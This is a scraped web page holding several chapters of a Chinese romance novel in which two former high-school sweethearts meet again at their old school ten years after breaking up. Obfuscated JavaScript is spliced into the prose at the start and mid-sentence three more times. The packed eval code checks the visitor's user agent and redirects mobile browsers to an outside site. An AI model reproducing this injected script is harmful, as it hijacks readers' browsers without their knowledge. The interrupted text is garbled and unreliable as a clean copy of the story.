l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640920|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 通常都是回家洗个热水澡、睡一觉,第二天照样活蹦乱跳的。 昨晚到家之后怎么也睡不着,记不清抽了多少根烟。 恍恍惚惚熬到后半夜,头忽然疼起来,太阳穴也突突突在跳动。到天亮的时候,嗓子连吞咽都扯得生疼,说话声更是哑得不行。 家里没备药箱这种东西,工作室那边又有约好的客户要上门,没办法,他还是只能强撑着先去完成工作。 一直到下午四点多送走客户,他才终于闲下来给自己接了杯热水。 暖流一点点滑进身体,昏昏沉沉的脑袋终于稍微舒服了些。 他鼓着双腮长长舒了口气,合上眼用掌跟慢吞吞按摩太阳穴。 桌上的手机震动一下,他拿过来解锁去看。 一条好友申请信息,备注:春屿花店。 他按了通过,那边随即发过来两条信息: [叶先生您好,我是春屿花店的店员,邀请您进入我们的会员群,方便第一时间了解咱们店里的优惠活动。] [邀请你加入群聊] 工作之后,微信里的好友一个接一个变多,熟的不熟的都塞进来,各种各样的群聊更是多到离谱,纷杂的信息让人眼晕。 叶杉青看见这两条信息,第一反应是忽略,手机一锁,随手扔回桌上。 没几秒,他又噌地坐直重新将手机抓回来。 如果黎悦夕也是这家花店的会员,那群里就有可能也有她。 这么想着,他连忙在屏幕上点击几下,加入会员群成功后,点开了群成员列表。 这是会员三群,一共四百三十一个人,除去备注名是工作人员的三人之外,他从上往下仔细去看每个人的微信名和头像。 他记得黎悦夕以前的微信名叫“越溪”,和她的名字同音。 寓意越过溪流山川,奔向更辽远的未来。 眼下看了一圈,并不见什么同音的、谐音的,甚至是风格和她类似的也没有。 昨晚找高中同学把他拉进同学群里不见她的人影,现在这个会员群也没有。 最后一丝线索也没了。 这样继续下去,无异于是大海捞针。 他叹了口气,还是后悔昨晚不应该那样就放她走。 空气静谧了好一阵,手机震动的声音重新钻入耳廓。 这次的信息是文思,叶俊成的秘书发过来的: [小叶总,和刘总女儿刘诗雅见面的时间地点已经订好。] [觅境西餐厅,周六下午五点。] 他低声念叨了遍:“周六。” 边说,点开电脑上的工作安排表去看。 周六除了上午有个工作室合伙人的会,其余倒是没有别的安排。 他迟疑着没回复的一两分钟时间里,文思又发过来一条:[小叶总,希望您准时,我也好和叶总交代。] 人家也只是按叶俊成的嘱咐办事,没必要让人家为难。 他机械式地回过去两个字:[收到。] 整个人重新往椅背上一倒,表情凝重了些。 周六是6月15号。 十年前的这一天,他和黎悦夕约定过会一起回盛岸高中。 说来也奇怪,这些年来,他好像并没有刻意在脑海里深化这个日子的重要性。 可就是每年到了这一天都会想起来,每年都会不由自主提醒自己,距离这个十年后的约定还有多久。 日子就这么一天天过着,从前觉得缓慢、悠长。 没想到,一眨眼就真的到了曾经畅想中的十年后。 那她呢? 她还会记得他们这个约定吗? 4. 夏夜出逃 周六。 叶杉青在工作室开完会已经是下午,简单收拾了下自己,他便出发去和今年已经数不清是第几个的相亲对象见面。 过程和以往没多大区别,无非是你来我往的公式问答。 虽然地点约在餐厅,但两人都不大有和陌生人一起吃饭的心思,没过多会儿,这个局顺理成章散了。 这家餐厅所在的街道离盛岸高中不远,开车过去顶多十分钟。 他这几天其实一直在犹豫,自己到底还有没有必要赴这个所谓的十年之约。 毕竟看黎悦夕那天的样子,大概率是不可能记得这件事的。就算是记得,也不会在意。 他有些难受,更矛盾不已。 他明明是恨她的。 他明明该恨她的。 可他还是无数次忍不住在心里问自己:阿悦啊,我怎么就是忘不掉你?我究竟该拿你怎么办呢? 一直到昨天夜里,他才暗暗做了个决定。 要是今天所有要做的事情,都能在下午五点三十分之前结束,他就去赴约。 踏出餐厅的一刻,手表上的指针恰好是五点二十七分。 叶杉青盯着表盘轻笑了声。 或许是注定的,他该在今天为这没有结果的十年画上一个句号。 - 盛岸高中是靖水市最早开办的一所国际高中,校园环境建设得极好,春夏时节百花争艳,秋冬时节又有金黄的银杏,所以周末的会开放预约,供外面的游客进入参观。 今天恰好是周六,预想到白天肯定人多,黎悦夕为了错开人潮,特意下午五点多才出门。 她选了从人少的西门进入。 当初刚转学到这里的时候,她走的也是这扇门。 / 那是2012年的8月,高二新学期开学。 各地受资助前来的借读生,都在月底到校报到。 黎悦夕从云槐县一个人坐了三个多小时的大巴车才来到靖水市。从车站到学校有直达的地铁,她不熟悉路线,一开始坐反了几站。 耽搁好一阵,等她到学校的时候,其他借读生早已经办完手续回各自的寝室了。 学校好大,她背着塞满书沉甸甸的书包和一个没多大的手提袋进了门。 盛夏热意未散,没多久她出了一头汗,从口袋里摸出一张纸巾擦了擦额前的汗珠,提脚要继续往前走。 右手边围聚的人群忽然哄闹起来,黎悦夕循声扭头。 那侧是绿色网格围起来的露天运动场,乍一看网球场地、羽毛球场地、乒乓球桌和篮球场一应俱全。 这会儿人最多的是靠左那块篮球场。 三分线外,两个男生各持一球。 用石头剪刀布这个传统的方式分出胜负后,左侧穿蓝色球衣的男生先行开始投掷。 这一球没中。 边上围的人们有两三个冲他喊:“没事没事,继续加油!” 其余的不仅没喊加油,反而鼓着手掌喝起倒彩。 一直到旁边穿白色T恤的男生抬了下手,一群人才安静下来。 那男生的穿着打扮和方才投球的人相比,实在算不上专业,甚至过于休闲。 但他身形在人群中很突出,是一眼就能被捕捉到的类型。 离得稍远,不太能看清眉眼。 只见傍晚霞光下,男生侧脸的轮廓线条优越。额前垂下几缕碎发,跟着曳过的晚风轻轻摆动。 这画面像是她常看的青春杂志里描述的那种,夕阳下意气风发、志气昂扬的少年。明明杂志上的文字无声,画面却栩栩如生,仿若就在眼前的少年。 黎悦夕的脚步不由慢了慢。 只见男生前挪半步,微微弯曲双腿,将篮球在面前轻拍几下,随后手腕发力,弹簧一般灵活地把篮球抛出。 圆球从半空越过,在天边橘光映衬下划出完美的弧线。 “唰”一声! 篮球干脆地入网。 人群沸腾起来,声调整齐在喊:“三班!三班!三班!” 白色T恤的男生满脸得意昂了下头。 另一个男生不服气,走上前继续下一轮的比赛。 黎悦夕没再多看,照着指示牌上的路线,绕过人工湖和银杏林走了大半个小时,终于望见学生事务中心的楼。 高二年级的教师办公室在三楼。 她爬上楼梯,在右手边第二个屋子门前停住。 晚饭时间刚过,办公室里人不多。 除了靠近门的工位坐着一男一女两个老师,就只剩角落的一位女老师。 那位老师正和一个高个男生面对面,满目怒气,脸颊涨得通红。 她杵着腰说:“叶杉青!你真有本事,开学第一天就和人家高一的杠上,闹得人尽皆知,你不觉得丢脸吗?” 男生不为所动,还在嬉皮笑脸,“高一的也没比我小多少岁啊,重要的是,最后不管是三分球、跳投、1V1,还是过人,都是我赢了,我为咱们高二三班争回面子了。否则咱班在他们高一的眼里,就一直是球场上的手下败将,那才是丢脸呢。” 看身形和身上的衣服,眼前叫叶杉青的男生,就是半小时前球场上那个。 搞了半天,刚刚他是在和人家较劲,为了所谓的“面子”。 黎悦夕鼓了下双腮,不太苟同青春期男生们的相处方式, “争你个头啊!”女老师声调又高了些。 正想继续说话,余光瞥见门边的人,只好暂时歇火。 黎悦夕从两人刚刚的对话中判断出来,这位女老师应该就是她的新班主任郝一龄。 这会儿已经和人家对上视线,她索性先开口:“郝老师,我是三班新来的借读生,我叫黎悦夕。” 郝一龄怒气正上头,一下子有些懵,几秒后才“哦”了声,招手说:“黎悦夕,你先进来。” 她点点头,挪步进去。 一直背对着门的叶杉青在这时回头。 他额前的碎发这会儿全部被往后捋了捋,露出光洁的额头,也让人更清楚地看见他清隽的五官。 不同于背影和行事作风散发的桀骜,他的瞳色很柔和,一双眼睛亮莹莹的,像是晕进夏夜的星。 最重要的是,他好像从里到外都散发着自信。 和她一路进来遇见的那些同学们一样,谈笑风生,眉眼里都是从容。 来之前,黎悦夕大致从别人口中了解过,盛岸高中是传说中那种“贵族学校”,校园里除了她们这些因为成绩不错受资助来的一小撮借读生,其余都是有钱人家的小孩。从小物质水平优越,接受的教育条件也好,不仅文化成绩不差,其他艺体方面的也都有各自拔尖的类目。 这些学生一大部分都是毕业就直接出国去念国外的大学,就算是少部分自己选择留在国内的,成绩也基本能预定重点大学。 除此之外,基础的生活条件也不同。 她们借读生住寝室,其他学生是走读,每天有司机接送。 学校里不会硬性要求每天穿校服,不会规定必须什么发型,甚至不会硬性干涉什么男女生交往过密。 毕竟对于他们而言,人际交往相当于家庭与家庭、企业与企业之间的资源置换。 黎悦夕本来没对这些说法太过在意,只秉持着一种信念——她来这里是为了争取更好的环境和教育资源,考个更好的大学。 这会儿闷头望望自己身上这套从邻居姐姐手里拿来的,尺码稍小、还洗得褪色的云槐一中旧校服,不免还是觉得自己好像整个人都灰扑扑的。 像是一颗本来就平平无奇的小石子,跌进一汪清澈的碧泉,却更没了存在感。 她垂眼咬了咬牙,敛起这些莫名的情绪。 从手提袋外侧的拉链夹层里取出文件袋往前递,“郝老师,这是我的入学资料,您看看还缺什么吗?” 郝一龄将文件袋接过去,“这个我一会儿看,都这个点了,你还没吃饭吧?” 她摇摇头。 郝一龄从牛仔裤口袋里抽出一张绿色的卡,“你们的校园卡明天才能好,你先拿我的卡去吃饭。” 黎悦夕下意识摆手,“不用了郝老师,我自己想办法。” “你刚来人生地不熟,能想什么办法?”郝一龄不容分说就把饭卡塞进她手里,又递过来一把钥匙,“这是你寝室的钥匙,门牌号写在上面了。还有什么需要,随时来找我。我住教师公寓106。” 她望着手里的饭卡犯了难,支吾着说:“郝老师,真的不用了,我……” 郝一龄是个急性子,没让她说完,“快去吧,趁着食堂还有饭。我还有事处理,别耽搁我时间。” 听见会耽搁人家时间,黎悦夕瞬间噤声。 她抿抿唇,道了声谢,转身要走。 身后的郝一龄倒吸一口气,眼看又找回刚刚训人的架势。 这回叶杉青抢了先,“郝老师,既然您还有事处理,我也不耽误您时间了。” “少给我油嘴滑舌,你……” 他侧过身,两只脚已经准备好往外跑,“您也说了新同学刚来人生地不熟,那罚我给她做向导,我带她去食堂,然后再熟悉熟悉校园环境,您看行吗?” 郝一龄朝黎悦夕的背影看一眼。 往届来到盛岸的借读生也不少,一大部分都因为适应不了新环境和新的学习和生活节奏没能走到最后。 这小姑娘的成绩和家庭情况她都了解过,要是能留在盛岸,接受更好的教育条件,那肯定能考上比在原先县城中学好几倍的大学。 说得夸张点,人生轨迹都会因此改变。 这么一想,郝一龄点了点头,“行吧行吧,你带她熟悉熟悉,把人好好送回寝室,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640921|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不许回家。” 计谋得逞,叶杉青身子站得笔直,右手抬起敬了个礼,“遵命!” 他是脱身了,这头的黎悦夕心里却在犯嘀咕。 她认识字,自己能照着指示牌找到这里,同样也能找到食堂和寝室。 她不需要什么向导,尤其还是个咋咋呼呼的人。 黎悦夕正闷头望着地面出神,叶杉青已经追到她身侧。 他歪着脑袋看她,咧嘴笑得纯善无害,“黎同学,对吧?我叫叶杉青,杉树的杉,青青子衿的青。” 她扫他一眼,迈出的脚步比刚刚更大了,平淡回了句:“黎悦夕。” 叶杉青点点头,伸手接过她手上拎的行李袋,“走吧,带你去食堂。” “哎……” 黎悦夕下意识伸手想去拽自己的行李袋。 他个高腿长,三两步就走朝前拉开两人间的距离,行李袋也被他反手往肩上一扛。 她右手摸了个空。 一高一矮两道身影,就这么在渐渐暗下的校园中前行。 憋了一路来到食堂门口,黎悦夕终于忍不住开了口:“我自己进去就行,你去忙你的吧。” 她可不想被一个陌生人盯着吃饭。 更不想一会儿真的贯彻什么,在他陪同下熟悉校园的戏码。搞得跟小情侣饭后散步似的。 说完,她朝他伸手,示意拿回行李袋。 脑海里想出长篇大论,应对他可能出现的热情和客套。 叶杉青却没多说,行李袋往她手上一递,摆了下手,“行,那就明天见,新同学。” 黎悦夕:“?” 她还愣在原地,人家已经转身融进夜色。 她恍悟,原来刚刚面对郝一龄的那番说辞,只是为了利用她脱身。 倒也好,省得她费口舌了。 即便如此,黎悦夕还是望着他的背影,道了声:“谢谢你带我过来。” / 那便是他们俩的第一次见面。 没什么非同寻常、刻骨铭心的事件和对话,就只是再平常不过的一天。 可就是这样的一天,后来却让人反反复复回想了许多遍。 黎悦夕顺着食堂侧面的路继续往前走,顺势仰头去看天空。 灰蒙蒙的云层,这会儿注入淡橘色的光束,些许刺眼。 她抬起手掌往眼前挡。 忽然自己也有些搞不明白自己今天来这一趟的目的,也搞不明白自己这些年到底在等什么。 是在等什么人吗? 似乎也不是。 更准确来说,或许是,在等时间推移,好把那个人遗忘才对。 可这个过程怎么就这么漫长,这么折磨人呢? 她沉了口气,强忍住眼中蔓延的酸涩。 身后银杏林被风扫过,枝叶摩擦沙沙作响。 一道低哑的男声裹在窸窣响动中,短短喊了声:“黎悦夕。” 黎悦夕不可置信地慢吞吞转过身。 叶杉青眸色淡淡瞥她一眼,视线迅速移开。 她也不好再继续盯着人家看,只觉得手足无措。 静默几秒,他问:“你怎么在这儿?” 黎悦夕怔住。 总不能说是为了当年的约定。 她抿抿唇,声音不自觉压低:“手上有个策划案和校园题材有关,所以趁着周末来取材。” 叶杉青这会儿没闪躲,一双眼睛直勾勾锁在她身上,像是要把人看穿。 他哼笑了声,“我猜也是,毕竟你从前心里只有读书和考试,现在心里肯定也只有工作,怎么可能装得下别的?” “反正不可能,是为了追忆过去出现在这里的。” “追忆过去”四个字被他咬得极重,眸色也跟着暗下来,盯得人心里发凉。 黎悦夕喉咙一紧,实在难以再回应什么。 最后只好装得淡定,反问一句:“那你呢?” 他捏着一枚银色打火机在指尖转悠两圈,“在附近相亲,顺路过来了。” 相亲。 他们这个年纪,这是件再正常不过的事情。 何况,她现在也没有干涉这些的权利,最后只是淡淡“哦”了声。 她尝试把话题转移得更远:“你声音有点哑,是感冒了吗?” 叶杉青回应得利落:“嗯,那天淋了雨。” 黎悦夕:“……” 好像更尴尬了。 左右他们之间就是不可能愉快地交谈,她干脆垂下头沉默。 好一阵,冷不丁冒出了句:“抱歉。” “抱歉……?”叶杉青拧了下眉。 斜阳落下,他的影子笼住她半个身子。 他提脚往她身边靠了靠,问:“这句话是为那天接受我的雨伞,间接导致我淋雨感冒。还是为……当年狠心抛弃我?” 5. 夏夜出逃 全然没预想到他会这么直接,黎悦夕怔然,觉得心虚。 她根本不敢再去看他的眼睛,闷着头,只听得见自己胸腔里因为慌张而愈渐起伏的心跳。 眉心越拧越紧,双眼止不住快速眨动着。 从叶杉青的角度往下看,视线里是她颤动的黑色睫羽,和垂在身侧不知何时牢牢紧握成拳的双手。 方才他那架势,阴阳怪气的几句话可谓一气呵成、脱口而出。 像是不把这十年来心底里对她的怨气都撒干净不肯罢休。 现在望着她这样,他心里又觉得不舒服,跟针扎一样刺得疼。 他把这份“不舒服”归结为,他心软,见不得女孩子在自己面前这样。 对。 只是心软,不是因为别的。 就算现在站在他面前的不是黎悦夕,是别的、陌生的女孩子,露出这样的表情,他也肯定会退让的。 自顾自暗暗想了片刻,他双唇微张正想说话。 黎悦夕在这时掀起眼帘。 这会儿天色沉下大半,昏黄的光线像是给她白皙的脸颊蒙上一层薄纱。 她眸底晕进些跃动的亮光,像是忍下的泪。 这样一双眼望过来,叶杉青心里更不舒服了。 如果说方才心口只是被针扎了,那现在就跟被一柄尖锐无比的刀来回搅动没什么区别。 偏这时候,黎悦夕慢吞吞开了口,声调不可控地染上了些哭腔,重复一遍:“抱歉。” 又一句抱歉。 这算不算是把两件事的歉疚都表达清楚了。 可越是说得清楚,才越像是要连最后一丝关系也撇干净。 一瞬,叶杉青心口沸腾的情绪翻涌而起,难抑的酸涩感直达眼眶。 眼神闪躲的人变成了他。 他偏过头,佯装在看手表上的时间。 悄无声息吞下情绪,才再次出声:“食堂这边也没什么好看的,既然你是来取材的,那就往那边走走吧。” 没管身后人的反应,他迈着大步就往前走。 黎悦夕凝眸看了看他背影,还是挪步跟上前去。 顺着食堂绕过去,是学校的艺术馆。 这幢楼一共三层,一层是用于学校各类大小活动的礼堂。二层三层做成展馆,展示学生们自己的绘画作品、雕塑作品等等。 艺术馆外四面都平坦且开阔,有序种植着不同种类的花草树木。 这些花草树木并非出自什么有经验的园艺师,而是由每一届的毕业生们自行设计和种植的。 他们14届毕业生的种植作品,集中分布在东南方向。三班当时从郁金香、雏菊和五色梅中投票选出了五色梅。 这个季节,五色梅开得正盛,一簇簇的花团环绕,远远扫过去就很惹眼。 即便已经这么多年没再回来过,这一刻两人还是一眼就找准了自己曾经亲手种过的那株花的位置。 / 花是14年的春天种下的。 高考之后,2014年6月15号那天,黎悦夕和叶杉青一起回了学校,两人悉心给自己种的花浇水、除草。 黎悦夕从两人见面开始,一直戴着口罩。 叶杉青反复问了她好几次这么做的原因,她就是拐弯抹角不肯说。 一直到他从包里拿出个相机,嚷嚷着要在亲手种下的花旁边和她一起拍下两个人的第一张合影。 黎悦夕一听,干脆用手掌把整张脸都挡住了。 支吾不清的声音从手掌后头传出:“你不许拍我,否则我就不理你了。” 叶杉青把脸从相机后头挪出来,还是不解,“到底为什么嘛?” 他挠了挠后脑勺,有些委屈起来,“你就这么不愿意和我一起拍张照?” 黎悦夕听着他逐渐放低的声音,从指缝间看过来,终于松了口:“我今天不好看。” “怎么会?你……”叶杉青第一反应自然是想哄她开心。 她摘下口罩,打断他的话,“反正我们的第一张的合照,不能在今天拍。” 叶杉青这时才看清,她鼻尖长了颗痘痘,不算很大,但红通通的,确实难以忽视。 他瞬间也理解了她的想法。 以她一向对事的严谨,肯定是觉得自己以这样的形象出镜,算是破坏这么有纪念意义的一张照片。 他选择尊重她的想法,想着反正来日方长,照片过几天再拍就好。 叶杉青抿唇,把相机镜头转向校园,“行,那我们改天去别的地方约会再拍合照。” 他按了下快门,“咔嚓”一声,曾经和她一起并肩走过无数次的校园小道被定格在画面里。 他也顿时有了新的想法,打了个响指说:“阿悦,既然今天没在这里拍成照片,那我们做个约定。” 黎悦夕反问:“什么约定?” 他笑得温和,迎到她身前,缓缓牵起她的双手,说道:“十年后,等到我们快三十岁的时候,我们再手牵手一起回到这里拍合照。那时候,这些花肯定开得更漂亮。” 对于这个提议,黎悦夕其实意外又觉得惊喜。 只是她嘴上不肯直言,别开脸嘟囔:“谁要十年后还跟你在一起啊,天天面对你,多腻啊……” 叶杉青俯下身,一双笑眼定定看过去,“不和我在一起,要和谁在一起?不许腻。” 黎悦夕依旧满脸傲娇的神情,“你就那么有信心,我们能在一起十年那么久?我们将来肯定会吵架,会意见不合,还有别的各种各样的现实问题,等等等等。” 他轻声笑,黏黏糊糊往她肩上靠,“吵架什么的很正常啊,不管将来遇见什么问题,我们一起解决就好了。最重要的是——” 他站直,双掌捧住她脸颊,“我们要在一起不止十年,是未来的每一天。我知道这种话现在听起来肯定像是信口开河,没什么说服力,但是你相信我,我会用接下来的日子证明的。” “就算是你要离开我,我也不会离开你的。” 他没再给她开口的机会,低头在她额前落下一枚轻柔的吻。 仿佛在以此给这个十年后的约定盖下独一无二的印章。 / 直到现在这一刻。 黎悦夕好像还能看到他当时近在咫尺的炽热目光,能感受到他手掌的温度。 能体会那个吻,捎着他全部的真心,就明晃晃摊开摆在她面前。 这一切的一切,都是她曾经唾手可得,又亲手放弃的。 她抬眼,视线落在叶杉青侧脸上。 他站得笔直,从这个方向看过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640922|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然就是在看那些五色梅。 脸上不见什么多余的表情,也看不清眼神。 他此时此刻会在想什么? 也会记得当时的画面吗? 她不知道,更没立场深究。 先放手的人,哪有什么说回头的资格? 越是这样想下去,她就越是没法再继续这样堂而皇之出现在他身边。 黎悦夕忍着心口的痛感背过身,“那个……我还有别的事,就先走了。” 说罢,她闷头拖着沉重的脚步往前走。 好长一段距离,身后不再有靠近的脚步声。她长长呼了口气,正想加快脚步。 叶杉青冷声说了句:“都这个点了,吃过饭再走吧。” 明明也知道这样继续纠缠下去也没多大意义,可她就是在那一刹挪不动步子。 重新回身的一刻,甚至为这顿饭下好了定义,“那我请客,谢谢你那天借给我雨伞。” 叶杉青点头,认同了这个理由。 两人是从离得近的后门出的学校。 这会儿天色全部沉下来,道路两侧的街灯一盏盏点亮。 暖色光影交汇,黎悦夕走在和叶杉青相隔两三步的位置。这个背影实在久违,她盯着看,不知不觉甚至忘了收回目光。 没注意到走了多远,身前的人忽然停住,问了声:“这家中餐可以吗?” 视线相撞,黎悦夕眸光一闪,下意识“啊?”了声,接着才点头应:“可以。” 叶杉青推开玻璃门往里走,两人在窗户边的空位坐下。 没几秒,服务员摊开菜单递了过来。 黎悦夕没接,“你点吧,我都可以。” “行。”叶杉青没推脱,低头从上往下浏览。 前后几秒,他张口冲服务员说:“香煎黄花鱼、葱油鸡、玉米山药排骨汤,再来一份……” 他垂着头,眼帘微微掀起来,短暂朝对面的人瞥一眼,声调比刚刚高了些,语速却缓下来:“炭烤羊排。” 这四个字一出,黎悦夕果然抬起了头。 服务员恰好在这时问:“还需要别的吗?” 黎悦夕应:“稍等一下。” 说罢,她看向叶杉青,眉心微蹙着问:“你以前不是不吃羊肉的吗?” 叶杉青没回应,手上的菜单一合,递还回去,“羊排不要了,换成白灼秋葵吧。谢谢。” 服务员点着头转身,“二位稍等。” 目送人家走远,叶杉青的视线才回落到黎悦夕眸间。 他往后一倒,整个人懒洋洋靠到椅背上,唇角似乎闪过一抹意味不明的笑。太过短促,实在让人难以捕捉。 盯了她好几秒,才说:“不吃羊肉这么小的事,没想到你竟然还记得。” 她刚才纯属没经思考的脱口而出,现在不知道怎么回应,只好低头捧着杯子假装喝水。 不回答刚刚那句话,可两人还得面对面吃完这顿饭,总不能就这么一直沉默尴尬下去。 最好的办法只有,换个话题。 黎悦夕放下杯子重新抬眼。 对面的人也在这时坐直。 两人几乎是同时出的声: “你的雨伞我改天还你。” “我的雨伞你什么时候方便还我?” 6. 夏夜出逃 还雨伞,只不过是她想再见他一面的借口。 至于他追问雨伞的事情又是什么原因,她不想,也没立场去深究。 错落的话音静下,两人凝眸相望几秒。黎悦夕补充道:“我最近工作不太忙,哪天都可以。” 叶杉青眉头微扬了下,眸底似乎闪过一抹淡淡的喜色。 他右手探进口袋,正想拿出手机说留个联系方式。 手机还没往桌上放,又听见黎悦夕说了句:“你公司的地址在哪,我给你送过去。” 跳过问联系方式,直接问地址。问的也不是家的地址,而是公司。 原来她提出还伞,真的就只是想还伞,就像刚刚同意和他一起吃这顿饭一样,只是为了还清人情。 这样算得一清二楚,才好再次转身从他世界里彻底消失。 她是这个意思吧? 自顾自捋顺了她这两句话的逻辑,叶杉青手上动作一顿。 方才眼底本就不浓的情绪,这会儿像是乌云袭来的天空,黑暗又深邃,让人难以捉摸。 他连视线也不再在她脸上逗留,只冷冷回了句:“不巧,我最近很忙,要去外地一段时间。” “那我……”黎悦夕张口。 他却不给她继续往下说的机会,“这样吧,你给我一张你的名片,我有空的时候再联系你。” “用你工作时候的联系方式联系你。”他特意强调。 言外之意,像是让她放宽心,绝不会给她造成多余的打扰。 黎悦夕迟钝着点头“哦”一声,从包里取出一张名片捏在手里往对面递。 叶杉青把那名片接到手上低头看,慢悠悠念叨:“亿智广告公司,宣传策划总监。” 重新掀起眼帘的时候,他轻笑了声,“亿智可是业内龙头,看来你这些年发展得很不错啊——” “黎、总、监。” 从前他幽默、健谈,人缘极好。 和她说话不论是在什么情况下,永远温柔有耐心。 现在却句句带刺。 她被噎了噎,听得不太舒服,又无力反驳。 毕竟她带给他那么大的伤害,他如今只是逞下口舌之快揶揄她几句,要是这样能让他心里舒服些,她受着也就受着吧。 她没接话,两人之间就这样再度被死寂蔓延。 没多时,服务员把他们点的菜逐一端上来,坠入冰点的气氛才稍稍得到缓解。 一顿饭结束得很快,两人也就这么一直默契地沉默着没再说过话。 将近八点,步行街灯光晃眼,来往行人正是密集的时候。 两人出了餐厅的门,一前一后的身影融进人流中。 拐过街角,面前的分叉路分别通向最近的公交站和地铁站。 黎悦夕朝他背影静静望了几秒,还是决定由自己先开口道别。 她挪上前和他并肩,缓声说:“我去那边坐地铁。” 叶杉青还在为刚刚的事赌气,想说送她,话在喉咙里哽了阵,最后只应一声:“嗯。” 她微微偏头去看他侧脸。 街灯映照,为他眼眸铺上一层暖色。这模样,倒是和从前总追在她身边跑的时候有几分相像了。 怕被察觉,她视线没多做停留,最后道了声:“再见。” 他也说:“再见。” 三言两语完成道别,没有客套的挽留和依依不舍。 和他们第一次见面的时候一样。 话音落,她顺着斑马线朝道路那头走。 人影幢幢,叶杉青终于抬眼朝她离开的方向看。 她的背影落进人群,愈渐远去,最后小到像一粒光斑消失不见。 他呆立原地,怅然若失,长长呼了口气。 明明时值夏季,他的模样却像陷进隆冬般冷寂。 - 周三,黎悦夕收到钟意出差回来的信息,两人约好一起吃晚饭。 下午六点四十,黎悦夕推开餐厅门进去。 距离虽然不远,可正是下班高峰期,堵在路上那会儿把她热得够呛。 这会儿坐下第一件事,就是抓起面前的冰镇橙汁闷声吞下大半杯。 钟意笑着给她递了张纸巾,“就猜到你出现的时候会是这副模样,还好我有先见之明给你点好了喝的。” 玻璃杯“砰”一声被黎悦夕放回桌面,杯壁上凝结的水珠随之滚落到她手指,凉意在皮肤上散开。 她接过纸巾擦了擦,终于觉得身上热意消散不少,“点菜了吗?” 钟意点头,“一来就点啦,应该马上就上,知道你忙一天肯定饿。” 黎悦夕冲她笑,“谢谢您!” 两人对话到这里,服务员正好端着热气腾腾的饭菜陆续摆上桌。 米饭盛到小碗里,钟意又给黎悦夕夹了两块排骨,各自低头开始吃饭。 没几分钟,钟意摆在桌角的手机接连响了几声,两双眼睛瞬间齐刷刷看了过去。 黎悦夕咳嗽一声,满眼拷问的模样,“交代吧,是不是出差又有什么艳遇了?连发那么多条信息,够黏人的啊。” 钟意这个人,身边一向不缺各种类型的异性。 她自己也一直秉持开心就好的原则,从不会在一段关系中陷太久,该抽身时就抽身。 这么多年,黎悦夕见怪不怪。她又往嘴里喂了一口饭,安静等对面的人讲这次的故事。 钟意抓过手机一看,手指在屏幕上滑动几下,并没回复的意思,又锁屏扔回了桌上,平淡说道:“这回还真不是。” 没听到故事,黎悦夕略显失望“哦”了声。 她端起杯子正要喂到唇边,钟意压低声音说道:“其实是……盛岸三班的同学群。” 钟意知道叶杉青是黎悦夕这么多年的心结,所以基本不会在她面前提跟高中有关的事。 黎悦夕也觉得有些意外,指尖微顿,表情却装得镇定,反问:“同学群怎么了?有聚会?” 钟意摇了下头,面露难色,声音更低了,“不是,就是……” “支支吾吾的干嘛?直接说呗,难不成天塌了?” 直觉已经表明,接下来的话应该和叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640923|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杉青有关,黎悦夕却还是想用玩笑的语气蒙混过关。 钟意干脆把手机解锁,点开群聊信息往对面推,“就是之前有一天,叶杉青忽然被人拉进了群。” 黎悦夕低头去看。 很久没活跃的群,在他进去的那天不少人冒泡。 期间他回答大家的问题,简单说了这几年在国外求学,直到两年前才回国,现在在经营一家叫“见山”的香水工作室。 同学们则嚷嚷着过几天有空聚一聚,他也附和说好。 一来一回都是老套的寒暄,并没什么破绽。 黎悦夕盯着屏幕上的“叶杉青”三个字出神几秒,后知后觉注意到,他进群的日期是6月11日。 他们在花店外遇见的那天。 这么多年杳无音讯,即使回国已经两年也没和任何人联系的人,为什么偏偏在那天进了这个群? 这样的巧合不由得人不多做联想,但也只是联想。 她从前就知道他会恨她,见过面之后他的态度更加表明这一点。 黎悦夕弯了下唇,把手机往回推,“同学都是人脉嘛,对于这个年纪的我们,一切可利用的人脉都很重要。” 钟意缓缓点头,想打量她的神色。她却将头低下,根本不让人看清眼神。 钟意只好硬着头皮继续说:“其实我是想说,既然他回来了,也过去那么多年了,那你们是不是该找个机会说把当年的事情说清楚,我不想你这么一直为过去的事情不开心,那又不是你的错。” “我希望你能向前看,希望你能开心。” 她当初和叶杉青在一起,旁人都说是她攀上叶家的高枝。 后来两人分手,大家又说,是她有了更好的选择,所以权衡利弊做出取舍。 